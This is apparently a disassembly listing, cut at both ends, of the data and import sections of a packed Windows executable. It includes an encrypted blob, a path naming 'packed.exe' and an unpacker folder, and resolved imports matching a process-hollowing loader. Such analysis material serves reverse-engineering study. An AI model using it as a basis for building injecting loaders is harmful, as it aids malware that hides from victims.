dup(4001E1C0h), 2 dup(4001E1C8h), 2 dup(4001E1D0h) dd 2 dup(4001E1D8h), 2 dup(4001E1E0h), 2 dup(4001E1E8h) dd 2 dup(4001E1F0h), 2 dup(4001E1F8h), 2 dup(4001E200h) dd 2 dup(4001E208h), 2 dup(4001E210h), 2 dup(4001E218h) dd 2 dup(4001E220h), 2 dup(4001E228h), 2 dup(4001E230h) dd 2 dup(4001E238h), 2 dup(4001E240h), 2 dup(4001E248h) dd 2 dup(4001E250h), 2 dup(4001E258h), 2 dup(4001E260h) dd 2 dup(4001E268h), 2 dup(4001E270h), 2 dup(4001E278h) dd 2 dup(4001E280h), 2 dup(4001E288h), 2 dup(4001E290h) dd 2 dup(4001E298h), 2 dup(4001E2A0h), 2 dup(4001E2A8h) dd 2 dup(4001E2B0h), 2 dup(4001E2B8h), 2 dup(4001E2C0h) dd 2 dup(4001E2C8h), 2 dup(4001E2D0h), 2 dup(4001E2D8h) dd 2 dup(4001E2E0h), 2 dup(4001E2E8h), 2 dup(4001E2F0h) dd 2 dup(4001E2F8h), 2 dup(4001E300h), 2 dup(4001E308h) dd 2 dup(4001E310h), 2 dup(4001E318h), 2 dup(4001E320h) dd 2 dup(4001E328h), 2 dup(4001E330h), 2 dup(4001E338h) dd 2 dup(4001E340h), 2 dup(4001E348h), 2 dup(4001E350h) dd 2 dup(4001E358h), 2 dup(4001E360h), 2 dup(4001E368h) dd 2 dup(4001E370h), 2 dup(4001E378h), 2 dup(4001E380h) dd 2 dup(4001E388h), 2 dup(4001E390h), 2 dup(4001E398h) dd 2 dup(4001E3A0h), 2 dup(4001E3A8h), 2 dup(4001E3B0h) dd 2 dup(4001E3B8h), 2 dup(4001E3C0h), 2 dup(4001E3C8h) dd 2 dup(4001E3D0h), 2 dup(4001E3D8h), 2 dup(4001E3E0h) dd 2 dup(4001E3E8h), 2 dup(4001E3F0h), 2 dup(4001E3F8h) dd 2 dup(4001E400h), 2 dup(4001E408h), 2 dup(4001E410h) dd 2 dup(4001E418h), 2 dup(4001E420h), 2 dup(4001E428h) dd 2 dup(4001E430h), 2 dup(4001E438h), 2 dup(4001E440h) dd 2 dup(4001E448h), 2 dup(4001E450h), 2 dup(4001E458h) dd 2 dup(4001E460h), 2 dup(4001E468h), 2 dup(4001E470h) dd 2 dup(4001E478h), 2 dup(4001E480h), 2 dup(4001E488h) dd 2 dup(4001E490h), 2 dup(4001E498h), 2 dup(4001E4A0h) dd 2 dup(4001E4A8h), 2 dup(4001E4B0h), 2 dup(4001E4B8h) dd 2 dup(4001E4C0h), 2 dup(4001E4C8h), 2 dup(4001E4D0h) dd 2 dup(4001E4D8h), 2 dup(4001E4E0h), 2 dup(4001E4E8h) dd 2 dup(4001E4F0h), 2 dup(4001E4F8h), 2 dup(4001E500h) dd 2 dup(4001E508h), 2 dup(4001E510h), 2 dup(4001E518h) dd 2 dup(4001E520h), 2 dup(4001E528h), 2 dup(4001E530h) dd 2 dup(4001E538h), 2 dup(4001E540h), 2 dup(4001E548h) dd 2 dup(4001E550h), 2 dup(4001E558h), 2 dup(4001E560h) dd 2 dup(4001E568h), 2 dup(4001E570h), 2 dup(4001E578h) dd 2 dup(4001E580h), 2 dup(4001E588h), 2 dup(4001E590h) dd 2 dup(4001E598h), 2 dup(4001E5A0h), 2 dup(4001E5A8h) dd 2 dup(4001E5B0h), 2 dup(4001E5B8h), 2 dup(4001E5C0h) dd 2 dup(4001E5C8h), 2 dup(4001E5D0h), 2 dup(4001E5D8h) dd 2 dup(4001E5E0h), 2 dup(4001E5E8h), 2 dup(4001E5F0h) dd 2 dup(4001E5F8h), 2 dup(4001E600h), 2 dup(4001E608h) dd 2 dup(4001E610h), 2 dup(4001E618h), 2 dup(4001E620h) dd 2 dup(4001E628h), 2 dup(4001E630h), 2 dup(4001E638h) dd 2 dup(4001E640h), 2 dup(4001E648h), 2 dup(4001E650h) dd 2 dup(4001E658h), 2 dup(4001E660h), 2 dup(4001E668h) dd 2 dup(4001E670h), 2 dup(4001E678h), 2 dup(4001E680h) dd 2 dup(4001E688h), 2 dup(4001E690h), 2 dup(4001E698h) dd 2 dup(4001E6A0h), 2 dup(4001E6A8h), 2 dup(4001E6B0h) dd 2 dup(4001E6B8h), 2 dup(4001E6C0h), 2 dup(4001E6C8h) dd 2 dup(4001E6D0h), 2 dup(4001E6D8h), 2 dup(4001E6E0h) dd 2 dup(4001E6E8h), 2 dup(4001E6F0h), 2 dup(4001E6F8h) dd 2 dup(4001E700h), 2 dup(4001E708h), 2 dup(4001E710h) dd 2 dup(4001E718h), 2 dup(4001E720h), 2 dup(4001E728h) dd 2 dup(4001E730h), 2 dup(4001E738h), 2 dup(4001E740h) dd 2 dup(4001E748h), 2 dup(4001E750h), 2 dup(4001E758h) dd 2 dup(4001E760h), 2 dup(4001E768h), 2 dup(4001E770h) dd 2 dup(4001E778h), 2 dup(4001E780h), 2 dup(4001E788h) dd 2 dup(4001E790h), 2 dup(4001E798h), 2 dup(4001E7A0h) byte_4001E7A8 db 0 ; DATA XREF: sub_40001654+12o ; sub_40001654:loc_4000167Fo ... align 4 dword_4001E7AC dd 7FF50000h ; sub_40002540:loc_4000266Ao ... dword_4001E7B0 dd 7FE90000h ; sub_40001694+46w ... dd 2 dup(0) dword_4001E7BC dd 0 ; sub_400022F0+59w ... byte_4001E7C0 db 0 ; DATA XREF: sub_400022F0+12o ; sub_400022F0:loc_4000231Bo ... align 4 dword_4001E7C4 dd 0 ; sub_40002BB4+9r ... dword_4001E7C8 dd 0 ; sub_40004790+4o dword_4001E7CC dd 12FFB4h ; sub_400044F0+2r off_4001E7D0 dd offset dword_4001830C ; DATA XREF: sub_40004518+6r ; sub_4000457C+7r ... dword_4001E7D4 dd 1Bh ; sub_40004518+2Bw ... off_4001E7D8 dd offset dword_4001A7B4 ; DATA XREF: sub_400045E4+20w dd 6 dup(0) byte_4001E7F4 db 0 ; DATA XREF: sub_40006428r byte_4001E7F5 db 0 ; DATA XREF: sub_400190AC+2Er align 4 dword_4001E7F8 dd 40000000h ; sub_40006474+16r ... dword_4001E7FC dd 0 dword_4001E800 dd 0FFFFFFFFh ; .itext:loc_40019098w dword_4001E804 dd 0 ; sub_40006758+22r ... dword_4001E808 dd 0A24E58h ; sub_4000BE64+52o ... byte_4001E80C db 0 ; DATA XREF: sub_40008800+24r ; sub_4000BE64+7Bw byte_4001E80D db 0 ; DATA XREF: sub_40008800+2Cr ; sub_4000BE64+9Fw byte_4001E80E db 2Ch ; DATA XREF: sub_40008800+14r ; sub_4000BE64+B2w byte_4001E80F db 2Eh ; DATA XREF: sub_40008800+Cr ; sub_40008D00+14r ... byte_4001E810 db 2 ; DATA XREF: sub_4000843E+1F9r ; sub_4000BE64+E9w byte_4001E811 db 2Fh ; DATA XREF: sub_400096A8:loc_40009D5Br ; sub_400096A8+6C4o ... align 4 dword_4001E814 dd 0A2C230h ; sub_400096A8+660r ... dword_4001E818 dd 0A3A858h ; sub_4000BE64+151o ... byte_4001E81C db 3Ah ; DATA XREF: sub_400096A8:loc_40009D7Er ; sub_400096A8+6E3o ... align 10h dword_4001E820 dd 0A24E98h ; sub_4000A1CC+299r ... dword_4001E824 dd 0A24EA8h ; sub_4000A1CC+2C3r ... dword_4001E828 dd 0A2C248h ; sub_4000A1CC+24Dr ... dword_4001E82C dd 0A3A878h ; sub_400096A8+4A7r ... dword_4001E830 dd 0A24D18h, 0A24D28h, 0A24D38h, 0A24D48h, 0A24D58h, 0A24D78h ; DATA XREF: sub_4000A91C+29o ; sub_4000CC50+9Fo dd 0A24D88h, 0A24D98h, 0A24DA8h, 0A24DB8h, 0A24DC8h dword_4001E85C dd 0A24DD8h dword_4001E860 dd 0A2C080h, 0A2C098h, 0A2C0B0h, 0A2C0C8h, 0A24D68h, 0A2C0E0h ; DATA XREF: sub_4000A91C+2Eo ; sub_4000CC50+B4o dd 0A2C0F8h, 0A2C110h, 0A2C128h, 0A2C140h, 0A2C158h dword_4001E88C dd 0A2C170h ; sub_400096A8+629r dword_4001E890 dd 0A24DE8h, 0A24DF8h, 0A24E08h, 0A24E18h, 0A24E28h, 0A24E38h ; DATA XREF: sub_4000A91C+8Ao ; sub_4000CC50+C9o dword_4001E8A8 dd 0A24E48h ; sub_400096A8+5E3r dword_4001E8AC dd 0A2C188h, 0A2C1A0h, 0A2C1B8h, 0A2C1D0h, 0A2C1E8h, 0A2C200h ; DATA XREF: sub_4000A91C+8Fo ; sub_4000CC50+DEo dd 0A2C218h dword_4001E8C8 dd 409h dword_4001E8CC dd 9 ; sub_4000A170+6r ... dword_4001E8D0 dd 1 dword_4001E8D4 dd 2C0100h ; sub_4000AA40:loc_4000AA54r ... dword_4001E8D8 dd 6 dup(0) ; sub_4000CC50+F3o dword_4001E8F0 dd 0 ; sub_4000AA7C+43w dword_4001E8F4 dd 0 ; sub_4000A1CC+A6r ... dd 6 dup(0) dword_4001E910 dd 0 ; sub_40007E2C+10o ... dword_4001E914 dd 0 ; sub_40007E2C+47o ... dword_4001E918 dd 0FFFFFFFFh ; sub_400190AC+11w dword_4001E91C dd 0A2C048h ; sub_4000B72C+12w ... dword_4001E920 dd 0A2C060h ; sub_4000B72C+29w ... byte_4001E924 db 0 ; DATA XREF: sub_4000C230+CBr ; sub_4000C230+F3r ... align 4 dd 3Fh dup(0) dword_4001EA24 dd 100h dup(0) dword_4001EE24 dd 100h dup(0) dword_4001F224 dd 0 dword_4001F228 dd 77126AEAh ; .data:off_4001B064o dword_4001F22C dd 771993C5h dword_4001F230 dd 7713C84Ah dword_4001F234 dd 7713A795h dword_4001F238 dd 7713B747h dword_4001F23C dd 77199F08h dword_4001F240 dd 7713BF93h dword_4001F244 dd 7719ABC6h dword_4001F248 dd 7719AD1Ah dword_4001F24C dd 7713A911h dword_4001F250 dd 7713B999h dword_4001F254 dd 7719A9F4h dword_4001F258 dd 77139F38h dword_4001F25C dd 7714F193h ; .data:off_4001B0B0o dword_4001F260 dd 7714F33Ch dword_4001F264 dd 7713C5FAh ; .data:off_4001AFF0o dword_4001F268 dd 7716D9A8h ; .data:off_4001AF3Co dword_4001F26C dd 77162626h ; .data:off_4001B0A0o dword_4001F270 dd 77150154h ; .data:off_4001AFC0o dword_4001F274 dd 7716386Bh ; .data:off_4001AF04o dword_4001F278 dd 7714521Ah ; .data:off_4001AFC8o dword_4001F27C dd 771500F2h ; .data:off_4001B058o dword_4001F280 dd 0FFFFFFFFh dword_4001F284 dd 0Ah, 0 ; sub_40019144+1Ao dd 80020004h, 0 off_4001F294 dd offset sub_400166E8 ; DATA XREF: sub_40019144+29w ; .data:off_4001B02Co off_4001F298 dd offset sub_4000DC90 ; DATA XREF: sub_4000E35C+3Ar ; sub_40019144+33w off_4001F29C dd offset sub_4000DBA0 ; DATA XREF: sub_4000E744+33r ; sub_4000ECE8+2Dr ... off_4001F2A0 dd offset sub_4000DC90 ; DATA XREF: sub_4000E654+5Dr ; sub_40019144+43w dword_4001F2A4 dd 0FFFFFFFFh ; sub_40019144+11w dword_4001F2A8 dd 0 ; sub_40012C6C+38r ... dword_4001F2AC dd 148508h, 0FFFFFFFFh, 4 dup(0) ; sub_40012AF4:loc_40012B4Ao ... dword_4001F2C4 dd 0FFFFFFFFh ; .itext:loc_400191F0w dword_4001F2C8 dd 0A333FCh ; sub_40013ED4+5Fo ... dword_4001F2CC dd 70h ; sub_40013E14+1Fr ... dword_4001F2D0 dd 0FFFFFFFFh ; sub_400191F8+11w dword_4001F2D4 dd 0A41B78h ; sub_40013E60+6r ... dword_4001F2D8 dd 0A41B50h ; sub_40013510+20r ... dword_4001F2DC dd 0 dword_4001F2E0 dd 0A41BA0h ; sub_40013CE4+1Cr ... dword_4001F2E4 dd 148530h, 0FFFFFFFFh, 4 dup(0) ; sub_40013E48o dword_4001F2FC dd 0FFFFFFFFh ; .itext:loc_4001928Cw dword_4001F300 dd 0FFFFFFFFh ; .itext:loc_40019294w dword_4001F304 dd 2F0803BAh dword_4001F308 dd 0FFFFFFFFh ; .itext:4001929Eo dd 60h dword_4001F310 dd 1B00017h ; .itext:400192C8r dword_4001F314 dd 1900015h ; .itext:400192D4r dword_4001F318 dd 18A0021h ; sub_40015918+14r ... dword_4001F31C dd 10003h dword_4001F320 dd 1485D0h, 0FFFFFFFFh, 4 dup(0) ; .itext:400192AFo dword_4001F338 dd 1485F8h, 0FFFFFFFFh, 4 dup(0) ; sub_40015358+10o ... dword_4001F350 dd 0A41BC8h ; sub_40014F8C:loc_40015175r ... dword_4001F354 dd 0A41BF0h ; sub_400151D0:loc_4001524Br ... dword_4001F358 dd 0A41C18h ; sub_40015270:loc_40015333r ... dword_4001F35C dd 0A41C90h ; .itext:40019369w dword_4001F360 dd 0A41C40h dword_4001F364 dd 0FFFFFFFFh ; .itext:loc_40019398w byte_4001F368 db 0 ; DATA XREF: sub_40016AB0+19w align 4 dword_4001F36C dd 0 dword_4001F370 dd 0 ; sub_40016A34+9r ... byte_4001F374 db 0 ; DATA XREF: sub_40016A34+37w ; sub_40016A34+76w ... align 4 dword_4001F378 dd 7C8328F7h ; resolved to->KERNEL32.ResumeThread ; sub_40017A1C+2FEr dword_4001F37C dd 7C862A69h ; resolved to->KERNEL32.SetThreadContext ; sub_40017A1C+2F4r dword_4001F380 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocEx ; sub_40017A1C+293r dword_4001F384 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_40017A1C+277r dword_4001F388 dd 7C83970Dh ; resolved to->KERNEL32.GetThreadContext ; sub_40017A1C+259r dword_4001F38C dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_40017A1C+1F9r ... dword_4001F390 dd 7C8260C2h ; resolved to->KERNEL32.FreeResourcedword_4001F394 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_4001F398 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_4001F39C dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_4001F3A0 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4001F3A4 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_400173FC+29Br dword_4001F3A8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemory ; sub_40017A1C+2B0r ... dword_4001F3AC dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40017A1C+66r ... dword_4001F3B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4001F3B4 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40017D84+45r dword_4001F3B8 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40017D84+54r ... dword_4001F3BC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40017D84+67r ... dword_4001F3C0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_40017D84+F1r dword_4001F3C4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40017D84+13Cr ... dword_4001F3C8 dd 3Fh dup(0) ; sub_40016FD8+58o dd 44000000h byte_4001F4C8 db 41h ; DATA XREF: sub_40016FD8+2Do ; sub_40016FD8+53o ... db 0ECh, 4Dh, 61h dd 0D3B8F575h, 0D1C1B793h, 0C09CF683h, 266D320Ch, 9D8D57E9h dd 0C802524Ah, 0A1FC6444h, 7E485FA5h, 0DAF05E59h, 80AF4EABh dd 0AC2B8E2Eh, 7DCD707Fh, 22DEBC2Ch, 0FB29A938h, 348F4C36h dd 6BC5F12Fh, 551E1B07h, 379AE312h, 0D8200050h, 0BBBF5692h dd 69F23AD5h, 17A26A11h, 54196888h, 0F3153B35h, 13DFBEBAh dd 42E65A73h, 0EA49B660h, 7886303Eh, 976C3D9Bh, 0FF6FEEF7h dd 1F052798h, 21CB1C95h, 0B52396C6h, 0A66E839h, 0DDA4AA9Fh dd 28A67B7Ah, 0C7476EC4h, 0A8851A01h, 3C2DEDCAh, 0D1D4F06h dd 53796514h, 0D9D78971h, 5CC2CFDBh, 0EF91770Bh, 0B4E0A746h dd 0C3D07431h, 43C93399h, 0AED2B2FDh, 0F72F47Ch, 84B2409h dd 0E2185D25h, 82F8B0A3h, 0AD62CEF9h, 81459E04h, 8463E187h dd 0BD8CB316h, 0A00E032Ah, 0FADC1040h, 0B99058D4h, 0E4B1E53Fh dd 0CC675B76h, 0EBD65194h, 0FE8BE78Ah dword_4001F5C8 dd 7FEF0010h ; .itext:4001982Dr ... dword_4001F5CC dd 0 ; .itext:400198A3o ... dword_4001F5D0 dd 0 ; .itext:400198C2r ... dword_4001F5D4 dd 42h dup(0) ; .itext:40019907o dword_4001F6DC dd 0 ; .itext:40019A45r dword_4001F6E0 dd 3 ; sub_40017F10+17r ... off_4001F6E4 dd offset dword_4002B378, 4 dup(0) ; DATA XREF: .itext:40019646o dword_4001F6F8 dd 53h dup(0) ; .itext:400199E6o ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: .itext:4001956Eo ; .itext:40019584o ... align 10h dd 3Bh dup(0) dword_4001F94C dd 0 ; .itext:400195CAo ... dword_4001F950 dd 0A24EB8h ; .itext:40019673o ... dword_4001F954 dd 0A1DA68h ; .itext:400196DFo ... dword_4001F958 dd 7FE90018h ; .itext:40019713o ... dword_4001F95C dd 27511h ; .itext:40019707o ... dword_4001F960 dd 4200h ; .itext:400195ADr dword_4001F964 dd 10h dup(0) ; .itext:400195D6o db 0 byte_4001F9A5 db 49h, 5Ah, 4Ah ; DATA XREF: .itext:40019635o dd 0Ah dup(0) db 2 dup(0) word_4001F9D2 dw 0 ; DATA XREF: .itext:40019865o dd 0Fh dup(0) db 3 dup(0) byte_4001FA13 db 5Dh ; DATA XREF: .itext:4001963Fo dd 574D4126h, 7F515549h, 4C454454h, 77595B4Dh, 0F594862h dd 58515060h, 17515B5Dh, 534E5C75h, 4F625953h, 266B7569h dd 527D102Dh, 1E534D51h, 59751815h, 56480258h, 4Ah, 1031h dup(0) dword_40023B14 dd 0 dd 0 dword_40023B1C dd 0 ; .itext:400195DBr ... dd 0 dword_40023B24 dd 3, 9 dup(0) dword_40023B4C dd 1Bh ; .itext:4001968Er ... dword_40023B50 dd 0 ; .itext:40019688r ... dword_40023B54 dd 3Fh ; .itext:4001969Ar ... dword_40023B58 dd 0 ; .itext:40019694r ... byte_40023B5C db 1 ; DATA XREF: .itext:loc_400197E0r byte_40023B5D db 1 ; DATA XREF: .itext:400197AEr align 10h dd 0 dword_40023B64 dd 0 ; .itext:40019630w ... aCWindowsSyst_0 db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019498o ; .itext:400194D1o ... dd 3Bh dup(0) dword_40023C68 dd 0 dword_40023C6C dd 0 dword_40023C70 dd 0 dword_40023C74 dd 0 dword_40023C78 dd 0 ; .itext:40019457r aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019428o ; .itext:40019437o dd 6Dh dup(0) dword_40023E44 dd 0A0F378h ; .itext:40019446o dword_40023E48 dd 27511h ; .itext:40019736r ... dword_40023E4C dd 55000h ; .itext:4001980Br ... dword_40023E50 dd 0 ; .itext:400199FFr ... _bss ends ; Section 5. (virtual address 00024000) ; Virtual size : 00001134 ( 4404.) ; Section size in file : 00001134 ( 4404.) ; Offset to raw data for section: 00024000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 40024000h dd 24140h, 2 dup(0) dd 24678h, 243DCh, 24150h, 2 dup(0) dd 246C0h, 243ECh, 24160h, 2 dup(0) dd 24700h, 243FCh, 24178h, 2 dup(0) dd 24756h, 24414h, 24218h, 2 dup(0) dd 249F4h, 244B4h, 2422Ch, 2 dup(0) dd 24A40h, 244C8h, 24254h, 2 dup(0) dd 24AC4h, 244F0h, 242A4h, 2 dup(0) dd 24C12h, 24540h, 24368h, 2 dup(0) dd 24F64h, 24604h, 24388h, 2 dup(0) dd 24FE6h, 24624h, 24394h, 2 dup(0) dd 25014h, 24630h, 243A0h, 2 dup(0) dd 25040h, 2463Ch, 243A8h, 2 dup(0) dd 25056h, 24644h, 243CCh, 2 dup(0) dd 250F8h, 24668h, 243D4h, 2 dup(0) dd 25118h, 24670h, 5 dup(0) dd 24686h, 24696h, 246ACh, 0 dd 246CEh, 246E2h, 246F2h, 0 dd 2470Ch, 2471Eh, 2472Eh, 2473Ch, 2474Ah, 0 dd 24764h, 2476Eh, 24776h, 24784h, 24794h, 247A4h, 247BEh dd 247D4h, 247ECh, 24804h, 24814h, 2482Ah, 24840h, 2484Ch dd 24858h, 2486Ah, 2487Ch, 2488Eh, 248A0h, 248B4h, 248CAh dd 248DCh, 248ECh, 248FEh, 2490Ch, 2491Eh, 2492Ah, 24938h dd 24944h, 24960h, 24972h, 24982h, 2498Eh, 2499Ah, 249ACh dd 249BCh, 249CAh, 249D8h, 249E6h, 0 dd 24A02h, 24A10h, 24A1Eh, 24A2Ch, 0 dd 24A4Ch, 24A58h, 24A66h, 24A74h, 24A80h, 24A94h, 24AA2h dd 24AAAh, 24AB6h, 0 dd 24ACEh, 24AE0h, 24AF0h, 24AFAh, 24B06h, 24B14h, 24B24h dd 24B34h, 24B40h, 24B52h, 24B6Ch, 24B7Eh, 24B8Eh, 24BA6h dd 24BB6h, 24BC2h, 24BD6h, 24BE6h, 24BFCh, 0 dd 24C20h, 24C3Eh, 24C4Ah, 24C54h, 24C6Ah, 24C7Ah, 24C82h dd 24C94h, 24CA6h, 24CB2h, 24CC0h, 24CCCh, 24CE2h, 24CECh dd 24CFCh, 24D0Ch, 24D1Ch, 24D34h, 24D50h, 24D60h, 24D70h dd 24D82h, 24D92h, 24DA8h, 24DB8h, 24DCAh, 24DDEh, 24DF4h dd 24E06h, 24E16h, 24E26h, 24E40h, 24E54h, 24E66h, 24E7Ch dd 24E88h, 24E98h, 24EA6h, 24EB8h, 24EC8h, 24ED6h, 24EEAh dd 24F02h, 24F1Ah, 24F28h, 24F38h, 24F44h, 24F56h, 0 dd 24F72h, 24F84h, 24F98h, 24FA8h, 24FB6h, 24FC8h, 24FD6h dd 0 dd 24FF4h, 25004h, 0 dd 2501Eh, 25030h, 0 dd 2504Eh, 0 dd 25064h, 2507Ah, 25090h, 250A6h, 250B8h, 250CCh, 250DAh dd 250EAh, 0 dd 25102h, 0 dd 25124h, 0 dword_400243DC dd 77124880h dword_400243E0 dd 771544ADh dword_400243E4 dd 77124BA7h dd 0 dword_400243EC dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_400243F0 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_400243F4 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey dd 0 dword_400243FC dd 7E43119Bh ; resolved to->USER32.GetKeyboardTypedword_40024400 dd 7E41DAEAh ; resolved to->USER32.DestroyWindowdword_40024404 dd 7E42DFA8h ; resolved to->USER32.LoadStringAdword_40024408 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_4002440C dd 7E42DF50h ; resolved to->USER32.CharNextA dd 0 dword_40024414 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_40024418 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_4002441C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_40024420 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_40024424 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_40024428 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_4002442C dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_40024430 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_40024434 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_40024438 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_4002443C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_40024440 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_40024444 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_40024448 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_4002444C dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExAdword_40024450 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40024454 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_40024458 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4002445C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_40024460 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_40024464 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_40024468 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_4002446C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_40024470 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_40024474 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_40024478 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_4002447C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_40024480 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; .text:loc_400033E4r dword_40024484 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_40024488 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_4002448C dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_40024490 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_40024494 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_40024498 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_4002449C dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_400244A0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_400244A4 dd 7C810E51h ; resolved to->KERNEL32.GetFileTypedword_400244A8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_400244AC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle dd 0 dword_400244B4 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValuedword_400244B8 dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_400244BC dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_400244C0 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA align 8 dword_400244C8 dd 7E41869Dh ; resolved to->USER32.ReleaseDCdword_400244CC dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_400244D0 dd 7E42DFA8h ; resolved to->USER32.LoadStringA dd 7E4208CEh dword_400244D8 dd 7E418F9Ch ; resolved to->USER32.GetSystemMetricsdword_400244DC dd 7E418E78h ; resolved to->USER32.GetSysColordword_400244E0 dd 7E4186C7h ; resolved to->USER32.GetDCdword_400244E4 dd 7E42DF50h ; resolved to->USER32.CharNextAdword_400244E8 dd 7E41AEF1h ; resolved to->USER32.CharToOemA align 10h dword_400244F0 dd 77F1D85Fh ; resolved to->GDI32.UnrealizeObjectdword_400244F4 dd 77F15D87h ; resolved to->GDI32.SetTextColordword_400244F8 dd 77F1D8F8h ; resolved to->GDI32.SetROP2dword_400244FC dd 77F15EEBh ; resolved to->GDI32.SetBkModedword_40024500 dd 77F15E39h ; resolved to->GDI32.SetBkColordword_40024504 dd 77F1832Ah ; resolved to->GDI32.SelectPalettedword_40024508 dd 77F15B80h ; resolved to->GDI32.SelectObjectdword_4002450C dd 77F1ADC3h ; resolved to->GDI32.MoveToExdword_40024510 dd 77F1DC1Fh ; resolved to->GDI32.GetTextMetricsAdword_40024514 dd 77F1B2F1h ; resolved to->GDI32.GetSystemPaletteEntries dd 77F161D1h dword_4002451C dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCapsdword_40024520 dd 77F2EAEBh ; resolved to->GDI32.GetCurrentPositionExdword_40024524 dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_40024528 dd 77F16E6Fh ; resolved to->GDI32.DeleteDCdword_4002452C dd 77F24077h ; resolved to->GDI32.CreatePenIndirectdword_40024530 dd 77F1B1F1h ; resolved to->GDI32.CreatePalettedword_40024534 dd 77F1E2E3h ; resolved to->GDI32.CreateFontIndirectAdword_40024538 dd 77F1D991h ; resolved to->GDI32.CreateBrushIndirect align 10h dword_40024540 dd 7C835D54h ; resolved to->KERNEL32.WritePrivateProfileStringAdword_40024544 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40024548 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_4002454C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_40024550 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_40024554 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_40024558 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_4002455C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_40024560 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_40024564 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEventdword_40024568 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_4002456C dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_40024570 dd 7C8097C6h ; resolved to->KERNEL32.MulDivdword_40024574 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_40024578 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_4002457C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_40024580 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_40024584 dd 7C809EF1h ; resolved 